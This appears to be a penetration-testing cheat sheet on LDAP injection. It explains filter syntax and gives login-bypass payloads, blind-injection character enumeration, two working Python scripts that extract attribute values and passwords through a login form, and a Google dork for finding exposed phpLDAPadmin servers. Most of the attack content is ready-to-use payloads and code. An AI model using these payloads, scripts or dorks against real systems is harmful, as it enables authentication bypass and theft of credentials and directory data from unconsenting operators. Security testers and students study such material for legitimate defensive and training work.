LDAP Injection

LDAP

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Ports 389 y 636

2MB

en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf

pdf

Filter = ( filtercomp ) Filtercomp = and / or / not / item And = & filterlist Or = |filterlist Not = ! filter Filterlist = 1*filter Item= simple / present / substring Simple = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Present = attr = * Substring = attr ”=” [initial] * [final] Initial = assertionvalue Final = assertionvalue (&) = Absolute TRUE (|) = Absolute FALSE

For example: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

You can access to the database, and this can content information of a lot of different types.

The backups of LDAP uses the extension ldif

OpenLDAP: If 2 filters arrive, only executes the first one. ADAM or Microsoft LDS: With 2 filters they throw an error. SunOne Directory Server 5.0: Execute both filters.

It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.

The filter has to start with: & or | Example: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Then: (&(objectClass=*)(ObjectClass=*)) will be the first filter (the one executed).

Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, ssha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi

user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))

user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))

user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))

user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed

user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error

username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSO then the user is admin and the password check is True.

username=*
password=*)(&
--> (&(user=*)(password=*)(&))

username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

LDAP_FUZZ LDAP Attributes LDAP_authBypass

Blind LDAP Injection

You can iterate over the ascii letters, digits and symbols:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of **[default LDAP attributes here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP Injection/Intruder/LDAP_attributes.txt).**

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

Special Blind LDAP Injection (without "*")

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20injection